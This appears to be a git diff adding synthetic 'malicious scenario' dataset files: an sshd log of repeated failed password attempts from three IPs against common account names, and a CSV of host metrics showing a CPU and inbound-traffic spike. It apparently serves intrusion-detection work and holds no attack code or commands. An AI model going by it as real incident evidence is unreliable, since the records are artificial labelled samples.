auth-server sshd[5998]: Failed password for invalid user test from 188.166.23.45 port 39481 ssh2 +Aug 26 10:02:43 auth-server sshd[5998]: Failed password for user from 138.68.142.101 port 26652 ssh2 +Aug 26 10:02:45 auth-server sshd[1491]: Failed password for oracle from 188.166.23.45 port 38010 ssh2 +Aug 26 10:02:46 auth-server sshd[1491]: Failed password for invalid user postgres from 188.166.23.45 port 38407 ssh2 +Aug 26 10:02:46 auth-server sshd[1491]: Failed password for root from 138.68.142.101 port 30691 ssh2 +Aug 26 10:02:47 auth-server sshd[1491]: Failed password for invalid user oracle from 138.68.142.101 port 41206 ssh2 +Aug 26 10:02:47 auth-server sshd[1491]: Failed password for invalid user oracle from 207.154.233.98 port 41001 ssh2 +Aug 26 10:02:47 auth-server sshd[1491]: Failed password for invalid user user from 138.68.142.101 port 47733 ssh2 +Aug 26 10:02:47 auth-server sshd[1491]: Failed password for root from 207.154.233.98 port 50440 ssh2 +Aug 26 10:02:47 auth-server sshd[1491]: Failed password for test from 207.154.233.98 port 33256 ssh2 +Aug 26 10:02:48 auth-server sshd[1491]: Failed password for root from 188.166.23.45 port 55547 ssh2 +Aug 26 10:02:48 auth-server sshd[1491]: Failed password for root from 188.166.23.45 port 58908 ssh2 +Aug 26 10:02:50 auth-server sshd[3327]: Failed password for admin from 207.154.233.98 port 16367 ssh2 +Aug 26 10:02:50 auth-server sshd[3327]: Failed password for invalid user user from 138.68.142.101 port 22452 ssh2 +Aug 26 10:02:50 auth-server sshd[3327]: Failed password for test from 188.166.23.45 port 56730 ssh2 +Aug 26 10:02:50 auth-server sshd[3327]: Failed password for test from 207.154.233.98 port 44022 ssh2 +Aug 26 10:02:51 auth-server sshd[3327]: Failed password for guest from 207.154.233.98 port 48739 ssh2 +Aug 26 10:02:51 auth-server sshd[3327]: Failed password for invalid user user from 138.68.142.101 port 59064 ssh2 +Aug 26 10:02:52 auth-server sshd[3327]: Failed password for invalid user postgres from 207.154.233.98 port 31155 ssh2 +Aug 26 10:02:53 auth-server sshd[3327]: Failed password for invalid user postgres from 188.166.23.45 port 24750 ssh2 +Aug 26 10:02:53 auth-server sshd[3327]: Failed password for invalid user user from 207.154.233.98 port 48590 ssh2 +Aug 26 10:02:53 auth-server sshd[3327]: Failed password for test from 138.68.142.101 port 54912 ssh2 +Aug 26 10:02:55 auth-server sshd[4065]: Failed password for invalid user guest from 138.68.142.101 port 56142 ssh2 +Aug 26 10:02:55 auth-server sshd[4065]: Failed password for user from 207.154.233.98 port 23596 ssh2 +Aug 26 10:02:56 auth-server sshd[4065]: Failed password for admin from 188.166.23.45 port 55926 ssh2 +Aug 26 10:02:56 auth-server sshd[4065]: Failed password for invalid user user from 188.166.23.45 port 39760 ssh2 +Aug 26 10:02:57 auth-server sshd[4065]: Failed password for admin from 138.68.142.101 port 54569 ssh2 +Aug 26 10:02:57 auth-server sshd[4065]: Failed password for invalid user admin from 207.154.233.98 port 37167 ssh2 +Aug 26 10:02:57 auth-server sshd[4065]: Failed password for invalid user oracle from 138.68.142.101 port 58926 ssh2 +Aug 26 10:02:57 auth-server sshd[4065]: Failed password for user from 207.154.233.98 port 19300 ssh2 +Aug 26 10:03:00 auth-server sshd[9310]: Failed password for guest from 207.154.233.98 port 39322 ssh2 +Aug 26 10:03:00 auth-server sshd[9310]: Failed password for invalid user user from 138.68.142.101 port 46435 ssh2 +Aug 26 10:03:01 auth-server sshd[9310]: Failed password for invalid user guest from 188.166.23.45 port 20142 ssh2 +Aug 26 10:03:01 auth-server sshd[9310]: Failed password for invalid user test from 188.166.23.45 port 16516 ssh2 +Aug 26 10:03:01 auth-server sshd[9310]: Failed password for postgres from 188.166.23.45 port 13652 ssh2 +Aug 26 10:03:02 auth-server sshd[9310]: Failed password for test from 138.68.142.101 port 22994 ssh2 +Aug 26 10:03:03 auth-server sshd[9310]: Failed password for invalid user admin from 207.154.233.98 port 18048 ssh2 +Aug 26 10:03:03 auth-server sshd[9310]: Failed password for invalid user root from 188.166.23.45 port 49965 ssh2 +Aug 26 10:03:03 auth-server sshd[9310]: Failed password for root from 207.154.233.98 port 12666 ssh2 +Aug 26 10:03:06 auth-server sshd[6217]: Failed password for guest from 207.154.233.98 port 13731 ssh2 +Aug 26 10:03:07 auth-server sshd[6217]: Failed password for invalid user user from 188.166.23.45 port 41764 ssh2 +Aug 26 10:03:07 auth-server sshd[6217]: Failed password for root from 138.68.142.101 port 22215 ssh2 +Aug 26 10:03:08 auth-server sshd[6217]: Failed password for guest from 207.154.233.98 port 30249 ssh2 +Aug 26 10:03:08 auth-server sshd[6217]: Failed password for oracle from 207.154.233.98 port 15615 ssh2 +Aug 26 10:03:08 auth-server sshd[6217]: Failed password for root from 188.166.23.45 port 26291 ssh2 +Aug 26 10:03:11 auth-server sshd[4302]: Failed password for invalid user admin from 138.68.142.101 port 56842 ssh2 +Aug 26 10:03:11 auth-server sshd[4302]: Failed password for test from 207.154.233.98 port 24521 ssh2 +Aug 26 10:03:13 auth-server sshd[4302]: Failed password for invalid user oracle from 207.154.233.98 port 28424 ssh2 +Aug 26 10:03:13 auth-server sshd[4302]: Failed password for invalid user postgres from 207.154.233.98 port 50567 ssh2 +Aug 26 10:03:13 auth-server sshd[4302]: Failed password for oracle from 188.166.23.45 port 35302 ssh2 +Aug 26 10:03:15 auth-server sshd[9306]: Failed password for invalid user admin from 207.154.233.98 port 33552 ssh2 +Aug 26 10:03:15 auth-server sshd[9306]: Failed password for postgres from 207.154.233.98 port 30969 ssh2 +Aug 26 10:03:15 auth-server sshd[9306]: Failed password for user from 138.68.142.101 port 29628 ssh2 +Aug 26 10:03:16 auth-server sshd[9306]: Failed password for invalid user user from 138.68.142.101 port 31233 ssh2 +Aug 26 10:03:17 auth-server sshd[9306]: Failed password for invalid user guest from 188.166.23.45 port 18446 ssh2 +Aug 26 10:03:17 auth-server sshd[9306]: Failed password for invalid user oracle from 207.154.233.98 port 44208 ssh2 +Aug 26 10:03:17 auth-server sshd[9306]: Failed password for invalid user root from 188.166.23.45 port 10509 ssh2 +Aug 26 10:03:17 auth-server sshd[9306]: Failed password for invalid user root from 188.166.23.45 port 13643 ssh2 +Aug 26 10:03:17 auth-server sshd[9306]: Failed password for invalid user user from 207.154.233.98 port 34403 ssh2 +Aug 26 10:03:18 auth-server sshd[9306]: Failed password for admin from 138.68.142.101 port 50563 ssh2 +Aug 26 10:03:18 auth-server sshd[9306]: Failed password for admin from 207.154.233.98 port 11385 ssh2 +Aug 26 10:03:20 auth-server sshd[2454]: Failed password for invalid user postgres from 188.166.23.45 port 52838 ssh2 +Aug 26 10:03:20 auth-server sshd[2454]: Failed password for root from 138.68.142.101 port 11565 ssh2 +Aug 26 10:03:20 auth-server sshd[2454]: Failed password for root from 207.154.233.98 port 18303 ssh2 +Aug 26 10:03:21 auth-server sshd[2454]: Failed password for guest from 138.68.142.101 port 57024 ssh2 +Aug 26 10:03:22 auth-server sshd[2454]: Failed password for guest from 188.166.23.45 port 22073 ssh2 +Aug 26 10:03:22 auth-server sshd[2454]: Failed password for invalid user admin from 138.68.142.101 port 51308 ssh2 +Aug 26 10:03:22 auth-server sshd[2454]: Failed password for root from 188.166.23.45 port 47769 ssh2 +Aug 26 10:03:22 auth-server sshd[2454]: Failed password for root from 207.154.233.98 port 32314 ssh2 +Aug 26 10:03:23 auth-server sshd[2454]: Failed password for invalid user admin from 207.154.233.98 port 31773 ssh2 +Aug 26 10:03:23 auth-server sshd[2454]: Failed password for invalid user user from 207.154.233.98 port 25800 ssh2 +Aug 26 10:03:25 auth-server sshd[7628]: Failed password for user from 188.166.23.45 port 43751 ssh2 +Aug 26 10:03:25 auth-server sshd[7628]: Failed password for user from 188.166.23.45 port 44319 ssh2 +Aug 26 10:03:26 auth-server sshd[7628]: Failed password for guest from 138.68.142.101 port 10077 ssh2 +Aug 26 10:03:26 auth-server sshd[7628]: Failed password for invalid user oracle from 138.68.142.101 port 45678 ssh2 +Aug 26 10:03:26 auth-server sshd[7628]: Failed password for invalid user user from 138.68.142.101 port 55432 ssh2 +Aug 26 10:03:26 auth-server sshd[7628]: Failed password for test from 188.166.23.45 port 46147 ssh2 +Aug 26 10:03:27 auth-server sshd[7628]: Failed password for test from 138.68.142.101 port 29871 ssh2 +Aug 26 10:03:28 auth-server sshd[7628]: Failed password for invalid user user from 188.166.23.45 port 54670 ssh2 +Aug 26 10:03:28 auth-server sshd[7628]: Failed password for postgres from 138.68.142.101 port 40193 ssh2 +Aug 26 10:03:30 auth-server sshd[5462]: Failed password for admin from 207.154.233.98 port 49621 ssh2 +Aug 26 10:03:32 auth-server sshd[5462]: Failed password for postgres from 188.166.23.45 port 31929 ssh2 +Aug 26 10:03:32 auth-server sshd[5462]: Failed password for postgres from 207.154.233.98 port 44785 ssh2 +Aug 26 10:03:33 auth-server sshd[5462]: Failed password for oracle from 138.68.142.101 port 26887 ssh2 +Aug 26 10:03:33 auth-server sshd[5462]: Failed password for test from 188.166.23.45 port 39732 ssh2 +Aug 26 10:03:35 auth-server sshd[5506]: Failed password for invalid user root from 207.154.233.98 port 13580 ssh2 +Aug 26 10:03:35 auth-server sshd[5506]: Failed password for invalid user test from 207.154.233.98 port 23699 ssh2 +Aug 26 10:03:36 auth-server sshd[5506]: Failed password for invalid user test from 138.68.142.101 port 23251 ssh2 +Aug 26 10:03:36 auth-server sshd[5506]: Failed password for oracle from 188.166.23.45 port 55473 ssh2 +Aug 26 10:03:36 auth-server sshd[5506]: Failed password for test from 188.166.23.45 port 54065 ssh2 +Aug 26 10:03:37 auth-server sshd[5506]: Failed password for invalid user test from 207.154.233.98 port 50484 ssh2 +Aug 26 10:03:40 auth-server sshd[9951]: Failed password for invalid user admin from 138.68.142.101 port 30850 ssh2 +Aug 26 10:03:40 auth-server sshd[9951]: Failed password for invalid user postgres from 188.166.23.45 port 50408 ssh2 +Aug 26 10:03:41 auth-server sshd[9951]: Failed password for invalid user test from 207.154.233.98 port 47610 ssh2 +Aug 26 10:03:41 auth-server sshd[9951]: Failed password for oracle from 207.154.233.98 port 43632 ssh2 +Aug 26 10:03:41 auth-server sshd[9951]: Failed password for postgres from 188.166.23.45 port 59089 ssh2 +Aug 26 10:03:41 auth-server sshd[9951]: Failed password for test from 188.166.23.45 port 23857 ssh2 +Aug 26 10:03:42 auth-server sshd[9951]: Failed password for test from 207.154.233.98 port 46699 ssh2 +Aug 26 10:03:43 auth-server sshd[9951]: Failed password for invalid user guest from 207.154.233.98 port 23769 ssh2 +Aug 26 10:03:43 auth-server sshd[9951]: Failed password for user from 138.68.142.101 port 23438 ssh2 +Aug 26 10:03:45 auth-server sshd[6974]: Failed password for invalid user oracle from 188.166.23.45 port 53755 ssh2 +Aug 26 10:03:45 auth-server sshd[6974]: Failed password for invalid user user from 138.68.142.101 port 46079 ssh2 +Aug 26 10:03:45 auth-server sshd[6974]: Failed password for postgres from 188.166.23.45 port 48010 ssh2 +Aug 26 10:03:45 auth-server sshd[6974]: Failed password for root from 138.68.142.101 port 37605 ssh2 +Aug 26 10:03:46 auth-server sshd[6974]: Failed password for admin from 188.166.23.45 port 56550 ssh2 +Aug 26 10:03:46 auth-server sshd[6974]: Failed password for invalid user guest from 207.154.233.98 port 53666 ssh2 +Aug 26 10:03:47 auth-server sshd[6974]: Failed password for invalid user oracle from 207.154.233.98 port 30488 ssh2 +Aug 26 10:03:47 auth-server sshd[6974]: Failed password for test from 138.68.142.101 port 25804 ssh2 +Aug 26 10:03:48 auth-server sshd[6974]: Failed password for oracle from 188.166.23.45 port 42703 ssh2 +Aug 26 10:03:48 auth-server sshd[6974]: Failed password for test from 138.68.142.101 port 50457 ssh2 +Aug 26 10:03:50 auth-server sshd[8576]: Failed password for user from 138.68.142.101 port 22554 ssh2 +Aug 26 10:03:51 auth-server sshd[8576]: Failed password for admin from 138.68.142.101 port 50050 ssh2 +Aug 26 10:03:51 auth-server sshd[8576]: Failed password for guest from 138.68.142.101 port 39883 ssh2 +Aug 26 10:03:51 auth-server sshd[8576]: Failed password for invalid user guest from 188.166.23.45 port 47559 ssh2 +Aug 26 10:03:51 auth-server sshd[8576]: Failed password for invalid user user from 207.154.233.98 port 38087 ssh2 +Aug 26 10:03:52 auth-server sshd[8576]: Failed password for admin from 207.154.233.98 port 50230 ssh2 +Aug 26 10:03:52 auth-server sshd[8576]: Failed password for invalid user test from 138.68.142.101 port 12580 ssh2 +Aug 26 10:03:55 auth-server sshd[8572]: Failed password for admin from 207.154.233.98 port 55423 ssh2 +Aug 26 10:03:55 auth-server sshd[8572]: Failed password for invalid user guest from 207.154.233.98 port 35853 ssh2 +Aug 26 10:03:55 auth-server sshd[8572]: Failed password for invalid user root from 188.166.23.45 port 54222 ssh2 +Aug 26 10:03:55 auth-server sshd[8572]: Failed password for root from 138.68.142.101 port 15639 ssh2 +Aug 26 10:03:55 auth-server sshd[8572]: Failed password for root from 138.68.142.101 port 16445 ssh2 +Aug 26 10:03:56 auth-server sshd[8572]: Failed password for user from 138.68.142.101 port 19303 ssh2 +Aug 26 10:03:58 auth-server sshd[8572]: Failed password for guest from 188.166.23.45 port 17077 ssh2 +Aug 26 10:03:58 auth-server sshd[8572]: Failed password for invalid user oracle from 188.166.23.45 port 15866 ssh2 +Aug 26 10:03:58 auth-server sshd[8572]: Failed password for root from 138.68.142.101 port 20313 ssh2 +Aug 26 10:03:58 auth-server sshd[8572]: Failed password for test from 138.68.142.101 port 14828 ssh2 +Aug 26 10:04:00 auth-server sshd[6826]: Failed password for guest from 207.154.233.98 port 17984 ssh2 +Aug 26 10:04:00 auth-server sshd[6826]: Failed password for invalid user oracle from 138.68.142.101 port 42957 ssh2 +Aug 26 10:04:00 auth-server sshd[6826]: Failed password for invalid user oracle from 207.154.233.98 port 21176 ssh2 +Aug 26 10:04:00 auth-server sshd[6826]: Failed password for invalid user test from 188.166.23.45 port 50701 ssh2 +Aug 26 10:04:00 auth-server sshd[6826]: Failed password for invalid user user from 188.166.23.45 port 57801 ssh2 +Aug 26 10:04:00 auth-server sshd[6826]: Failed password for test from 207.154.233.98 port 23234 ssh2 +Aug 26 10:04:00 auth-server sshd[6826]: Failed password for test from 207.154.233.98 port 48515 ssh2 +Aug 26 10:04:01 auth-server sshd[6826]: Failed password for admin from 138.68.142.101 port 35748 ssh2 +Aug 26 10:04:03 auth-server sshd[6826]: Failed password for invalid user user from 188.166.23.45 port 14233 ssh2 +Aug 26 10:04:05 auth-server sshd[7320]: Failed password for invalid user test from 207.154.233.98 port 55264 ssh2 +Aug 26 10:04:06 auth-server sshd[7320]: Failed password for invalid user guest from 138.68.142.101 port 39163 ssh2 +Aug 26 10:04:06 auth-server sshd[7320]: Failed password for invalid user postgres from 138.68.142.101 port 38260 ssh2 +Aug 26 10:04:06 auth-server sshd[7320]: Failed password for oracle from 138.68.142.101 port 32688 ssh2 +Aug 26 10:04:06 auth-server sshd[7320]: Failed password for test from 138.68.142.101 port 26393 ssh2 +Aug 26 10:04:07 auth-server sshd[7320]: Failed password for invalid user oracle from 138.68.142.101 port 16906 ssh2 +Aug 26 10:04:07 auth-server sshd[7320]: Failed password for oracle from 207.154.233.98 port 16669 ssh2 +Aug 26 10:04:08 auth-server sshd[7320]: Failed password for guest from 138.68.142.101 port 14413 ssh2 +Aug 26 10:04:08 auth-server sshd[7320]: Failed password for invalid user root from 188.166.23.45 port 21734 ssh2 +Aug 26 10:04:08 auth-server sshd[7320]: Failed password for oracle from 207.154.233.98 port 12507 ssh2 +Aug 26 10:04:08 auth-server sshd[7320]: Failed password for root from 188.166.23.45 port 46075 ssh2 +Aug 26 10:04:10 auth-server sshd[3498]: Failed password for invalid user admin from 188.166.23.45 port 14730 ssh2 +Aug 26 10:04:10 auth-server sshd[3498]: Failed password for invalid user guest from 138.68.142.101 port 57943 ssh2 +Aug 26 10:04:10 auth-server sshd[3498]: Failed password for invalid user test from 207.154.233.98 port 20912 ssh2 +Aug 26 10:04:10 auth-server sshd[3498]: Failed password for oracle from 207.154.233.98 port 19734 ssh2 +Aug 26 10:04:11 auth-server sshd[3498]: Failed password for invalid user test from 207.154.233.98 port 35942 ssh2 +Aug 26 10:04:12 auth-server sshd[3498]: Failed password for admin from 188.166.23.45 port 56367 ssh2 +Aug 26 10:04:13 auth-server sshd[3498]: Failed password for invalid user admin from 207.154.233.98 port 39740 ssh2 +Aug 26 10:04:13 auth-server sshd[3498]: Failed password for invalid user postgres from 207.154.233.98 port 42701 ssh2 +Aug 26 10:04:13 auth-server sshd[3498]: Failed password for oracle from 188.166.23.45 port 29801 ssh2 +Aug 26 10:04:15 auth-server sshd[6638]: Failed password for invalid user guest from 188.166.23.45 port 17609 ssh2 +Aug 26 10:04:16 auth-server sshd[6638]: Failed password for guest from 207.154.233.98 port 27567 ssh2 +Aug 26 10:04:16 auth-server sshd[6638]: Failed password for invalid user admin from 138.68.142.101 port 34171 ssh2 +Aug 26 10:04:16 auth-server sshd[6638]: Failed password for postgres from 188.166.23.45 port 14794 ssh2 +Aug 26 10:04:17 auth-server sshd[6638]: Failed password for invalid user oracle from 207.154.233.98 port 56201 ssh2 +Aug 26 10:04:17 auth-server sshd[6638]: Failed password for user from 207.154.233.98 port 42399 ssh2 +Aug 26 10:04:18 auth-server sshd[6638]: Failed password for postgres from 138.68.142.101 port 30541 ssh2 +Aug 26 10:04:21 auth-server sshd[1550]: Failed password for invalid user test from 207.154.233.98 port 29164 ssh2 +Aug 26 10:04:21 auth-server sshd[1550]: Failed password for postgres from 207.154.233.98 port 24347 ssh2 +Aug 26 10:04:22 auth-server sshd[1550]: Failed password for invalid user guest from 138.68.142.101 port 13604 ssh2 +Aug 26 10:04:23 auth-server sshd[1550]: Failed password for guest from 188.166.23.45 port 42946 ssh2 +Aug 26 10:04:23 auth-server sshd[1550]: Failed password for postgres from 138.68.142.101 port 44288 ssh2 +Aug 26 10:04:23 auth-server sshd[1550]: Failed password for test from 138.68.142.101 port 11134 ssh2 +Aug 26 10:04:25 auth-server sshd[3595]: Failed password for invalid user test from 207.154.233.98 port 36473 ssh2 +Aug 26 10:04:25 auth-server sshd[3595]: Failed password for test from 207.154.233.98 port 47139 ssh2 +Aug 26 10:04:25 auth-server sshd[3595]: Failed password for user from 188.166.23.45 port 36198 ssh2 +Aug 26 10:04:26 auth-server sshd[3595]: Failed password for admin from 138.68.142.101 port 13020 ssh2 +Aug 26 10:04:26 auth-server sshd[3595]: Failed password for test from 207.154.233.98 port 53286 ssh2 +Aug 26 10:04:26 auth-server sshd[3595]: Failed password for user from 188.166.23.45 port 33720 ssh2 +Aug 26 10:04:27 auth-server sshd[3595]: Failed password for invalid user oracle from 207.154.233.98 port 18808 ssh2 +Aug 26 10:04:27 auth-server sshd[3595]: Failed password for invalid user test from 207.154.233.98 port 24465 ssh2 +Aug 26 10:04:28 auth-server sshd[3595]: Failed password for postgres from 188.166.23.45 port 53857 ssh2 +Aug 26 10:04:30 auth-server sshd[4150]: Failed password for invalid user root from 188.166.23.45 port 22735 ssh2 +Aug 26 10:04:30 auth-server sshd[4150]: Failed password for root from 188.166.23.45 port 48294 ssh2 +Aug 26 10:04:31 auth-server sshd[4150]: Failed password for invalid user postgres from 138.68.142.101 port 54456 ssh2 +Aug 26 10:04:31 auth-server sshd[4150]: Failed password for invalid user root from 138.68.142.101 port 14581 ssh2 +Aug 26 10:04:31 auth-server sshd[4150]: Failed password for invalid user root from 207.154.233.98 port 49129 ssh2 +Aug 26 10:04:31 auth-server sshd[4150]: Failed password for oracle from 188.166.23.45 port 42816 ssh2 +Aug 26 10:04:31 auth-server sshd[4150]: Failed password for root from 207.154.233.98 port 31192 ssh2 +Aug 26 10:04:33 auth-server sshd[4150]: Failed password for invalid user oracle from 138.68.142.101 port 15878 ssh2 +Aug 26 10:04:33 auth-server sshd[4150]: Failed password for oracle from 138.68.142.101 port 31251 ssh2 +Aug 26 10:04:33 auth-server sshd[4150]: Failed password for postgres from 207.154.233.98 port 38591 ssh2 +Aug 26 10:04:35 auth-server sshd[1310]: Failed password for invalid user oracle from 188.166.23.45 port 25721 ssh2 +Aug 26 10:04:35 auth-server sshd[1310]: Failed password for invalid user postgres from 138.68.142.101 port 52927 ssh2 +Aug 26 10:04:35 auth-server sshd[1310]: Failed password for invalid user user from 207.154.233.98 port 20142 ssh2 +Aug 26 10:04:35 auth-server sshd[1310]: Failed password for invalid user user from 207.154.233.98 port 36797 ssh2 +Aug 26 10:04:35 auth-server sshd[1310]: Failed password for oracle from 207.154.233.98 port 11586 ssh2 +Aug 26 10:04:35 auth-server sshd[1310]: Failed password for postgres from 188.166.23.45 port 55352 ssh2 +Aug 26 10:04:35 auth-server sshd[1310]: Failed password for test from 138.68.142.101 port 55219 ssh2 +Aug 26 10:04:36 auth-server sshd[1310]: Failed password for invalid user admin from 138.68.142.101 port 33150 ssh2 +Aug 26 10:04:36 auth-server sshd[1310]: Failed password for test from 188.166.23.45 port 49377 ssh2 +Aug 26 10:04:37 auth-server sshd[1310]: Failed password for postgres from 138.68.142.101 port 13667 ssh2 +Aug 26 10:04:38 auth-server sshd[1310]: Failed password for invalid user guest from 207.154.233.98 port 22468 ssh2 +Aug 26 10:04:40 auth-server sshd[4093]: Failed password for test from 207.154.233.98 port 23199 ssh2 +Aug 26 10:04:41 auth-server sshd[4093]: Failed password for invalid user admin from 138.68.142.101 port 38157 ssh2 +Aug 26 10:04:42 auth-server sshd[4093]: Failed password for admin from 188.166.23.45 port 32411 ssh2 +Aug 26 10:04:42 auth-server sshd[4093]: Failed password for invalid user postgres from 138.68.142.101 port 20290 ssh2 +Aug 26 10:04:42 auth-server sshd[4093]: Failed password for invalid user test from 188.166.23.45 port 45430 ssh2 +Aug 26 10:04:43 auth-server sshd[4093]: Failed password for invalid user guest from 138.68.142.101 port 13023 ssh2 +Aug 26 10:04:43 auth-server sshd[4093]: Failed password for invalid user postgres from 207.154.233.98 port 51178 ssh2 +Aug 26 10:04:45 auth-server sshd[7513]: Failed password for admin from 138.68.142.101 port 58522 ssh2 +Aug 26 10:04:45 auth-server sshd[7513]: Failed password for invalid user guest from 188.166.23.45 port 43372 ssh2 +Aug 26 10:04:45 auth-server sshd[7513]: Failed password for invalid user user from 188.166.23.45 port 22419 ssh2 +Aug 26 10:04:45 auth-server sshd[7513]: Failed password for postgres from 138.68.142.101 port 57729 ssh2 +Aug 26 10:04:45 auth-server sshd[7513]: Failed password for postgres from 188.166.23.45 port 14563 ssh2 +Aug 26 10:04:46 auth-server sshd[7513]: Failed password for root from 188.166.23.45 port 54672 ssh2 +Aug 26 10:04:47 auth-server sshd[7513]: Failed password for invalid user oracle from 188.166.23.45 port 43793 ssh2 +Aug 26 10:04:47 auth-server sshd[7513]: Failed password for invalid user test from 188.166.23.45 port 21425 ssh2 +Aug 26 10:04:47 auth-server sshd[7513]: Failed password for postgres from 138.68.142.101 port 59924 ssh2 +Aug 26 10:04:48 auth-server sshd[7513]: Failed password for invalid user guest from 138.68.142.101 port 31793 ssh2 +Aug 26 10:04:48 auth-server sshd[7513]: Failed password for invalid user root from 207.154.233.98 port 42952 ssh2 +Aug 26 10:04:51 auth-server sshd[6919]: Failed password for invalid user root from 207.154.233.98 port 32015 ssh2 +Aug 26 10:04:52 auth-server sshd[6919]: Failed password for admin from 188.166.23.45 port 52644 ssh2 +Aug 26 10:04:52 auth-server sshd[6919]: Failed password for invalid user postgres from 188.166.23.45 port 41403 ssh2 +Aug 26 10:04:52 auth-server sshd[6919]: Failed password for root from 138.68.142.101 port 37599 ssh2 +Aug 26 10:04:52 auth-server sshd[6919]: Failed password for root from 188.166.23.45 port 17336 ssh2 +Aug 26 10:04:53 auth-server sshd[6919]: Failed password for invalid user oracle from 207.154.233.98 port 30886 ssh2 +Aug 26 10:04:55 auth-server sshd[4635]: Failed password for invalid user admin from 188.166.23.45 port 59921 ssh2 +Aug 26 10:04:55 auth-server sshd[4635]: Failed password for root from 188.166.23.45 port 10382 ssh2 +Aug 26 10:04:56 auth-server sshd[4635]: Failed password for user from 207.154.233.98 port 11568 ssh2 +Aug 26 10:04:57 auth-server sshd[4635]: Failed password for invalid user guest from 207.154.233.98 port 20909 ssh2 +Aug 26 10:04:58 auth-server sshd[4635]: Failed password for admin from 138.68.142.101 port 38500 ssh2 +Aug 26 10:04:58 auth-server sshd[4635]: Failed password for admin from 188.166.23.45 port 30989 ssh2 +Aug 26 10:04:58 auth-server sshd[4635]: Failed password for invalid user root from 207.154.233.98 port 35172 ssh2 +Aug 26 10:04:58 auth-server sshd[4635]: Failed password for test from 188.166.23.45 port 37731 ssh2 +Aug 26 10:05:00 auth-server systemd[1]: Starting daily clean up activities... +Aug 26 10:05:20 auth-server CRON[4498]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:00 auth-server CRON[1885]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:15 auth-server sshd[7212]: Accepted publickey for john from 192.168.1.10 port 51234 ssh2: RSA SHA256:... +Aug 26 10:06:15 auth-server systemd[1]: Starting daily clean up activities... +Aug 26 10:06:40 auth-server CRON[3151]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:07:20 auth-server CRON[7010]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/mali_dataset/scenario_7/mali_7_23.csv b/mali_dataset/scenario_7/mali_7_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..9aac8136dc741d53b77f554daa2ba84c5021dcab --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-25T21:10:00Z,15.729259498617424,40.877126634271946,28.446541088666486,1.3003780888573924,0.8009849454659912 +2025-08-25T21:10:05Z,10.993389604843745,42.40925265944663,29.85014539283883,1.167124577690975,1.2140643957525892 +2025-08-25T21:10:10Z,13.61973105216418,42.03741955070752,31.223834231904764,1.4709284144108654,0.9776241288494963 +2025-08-25T21:10:15Z,12.457278179869816,41.66650432578492,30.444506166367965,1.2138250430507955,0.7897128117877432 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+2025-08-25T21:11:00Z,12.376387895482983,41.74436708854537,29.245019346144012,1.0105332057494678,1.1630527830410742 +2025-08-25T21:11:05Z,19.830755859997595,41.677727597291415,28.800041555662396,1.2945734424180828,1.259435569195042 +2025-08-25T21:11:10Z,19.23178667028342,40.735487697169404,30.413625527266518,1.315588234976489,0.8285403441788141 +2025-08-25T21:11:15Z,19.136792560266006,41.245715097103705,28.74053925356543,0.9315250456619206,1.0995462075692317 +2025-08-25T21:11:20Z,15.02566689697056,40.63338105527751,29.988465334573096,0.9658860540578447,0.9676217646673779 +2025-08-25T21:11:25Z,18.15915389645634,40.99776304041151,30.58256493499171,1.1463388949295295,1.1190344338945777 +2025-08-25T21:11:30Z,15.827872525975247,41.12883445843842,31.243354380646146,1.264974330826947,0.980187104033107 +2025-08-25T21:11:35Z,14.836755010490869,41.38474960395776,29.606474239609792,1.1912980850570727,1.21612212644869 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+2025-08-25T21:13:40Z,96.42151483693341,40.9709181895056,33.104844736034714,16.152197254777484,1.8400287485920526 +2025-08-25T21:13:45Z,85.41980768118951,41.05406590351181,30.543551849723656,16.171028091315097,1.7303517857203086 +2025-08-25T21:13:50Z,91.64934460828945,42.959323965792194,33.421203274308375,23.560242166562034,1.0140606897768207 +2025-08-25T21:13:55Z,90.7370269295642,42.028312584461666,25.26431202306058,29.526952733546253,1.9950881395057691 +2025-08-25T21:14:00Z,97.59324876940853,40.998389649563244,32.44700113414983,27.63092193536366,1.567509907406202 +2025-08-25T21:14:05Z,97.59662317989526,41.63842428058058,31.949720394670045,17.020449181598323,2.370190145911255 +2025-08-25T21:14:10Z,92.02229031653448,41.696751948963325,30.754517434609802,26.21234129989021,1.1514112166275505 +2025-08-25T21:14:15Z,87.97724284859504,42.21821232698224,28.2092797542092,29.289229716338824,1.2540573252687222 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+2025-08-25T21:16:20Z,13.878760522820603,40.93135225973323,28.738587969095033,1.1105859193567764,0.9042083293170633 +2025-08-25T21:16:25Z,13.2278001993903,41.6363424046342,30.683791372302544,0.9285637672040872,0.9836089929405218 +2025-08-25T21:16:30Z,10.673253409058558,41.33902537670918,29.089463051642518,1.2872675428381213,1.276485563732526 +2025-08-25T21:16:35Z,16.155120218805664,41.04264846838904,29.022732700955455,1.2280399478165673,0.7680940643738143 +2025-08-25T21:16:40Z,17.101235330125693,42.01049156024633,30.390587008959372,1.0630691704504975,0.7672955143062865 +2025-08-25T21:16:45Z,12.282005634804154,41.51466118174994,28.898276039934423,1.0167022318573231,1.263677291953503 +2025-08-25T21:16:50Z,16.38249449432118,41.2640024849165,29.151365600984246,1.2481074198346773,1.1955880843542575 +2025-08-25T21:16:55Z,17.966528263709986,41.43235727100743,31.89774984999577,1.2732020988627188,0.8454689997029348 +2025-08-25T21:17:00Z,14.995599386227354,41.438737451059446,28.11939849691898,1.401035136634457,1.1115616154311851 +2025-08-25T21:17:05Z,15.258489987706863,41.073717425699584,30.14794328127059,0.8389807742626647,0.8606556898001114 +2025-08-25T21:17:10Z,18.011121579097995,41.10317636355215,29.514892297788776,1.2740288591714009,0.8181146145128797 +2025-08-25T21:17:15Z,12.634856859438965,41.973677935964645,29.719448516232212,1.1500440617371699,0.9560088164516747 +2025-08-25T21:17:20Z,11.501218785753773,42.42137804986409,30.880286542846267,0.9043828895957042,0.8432376114277742 +2025-08-25T21:17:25Z,16.964361660950836,41.94965731185438,29.357579391241682,1.0207355829591762,1.0917429153790879 diff --git a/mali_dataset/scenario_7/mali_7_23.log b/mali_dataset/scenario_7/mali_7_23.log new file mode 100644 index 0000000000000000000000000000000000000000..53b18c09dc71a4ec5a9d550fb05c7626bc99ee3a --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_23.log @@ -0,0 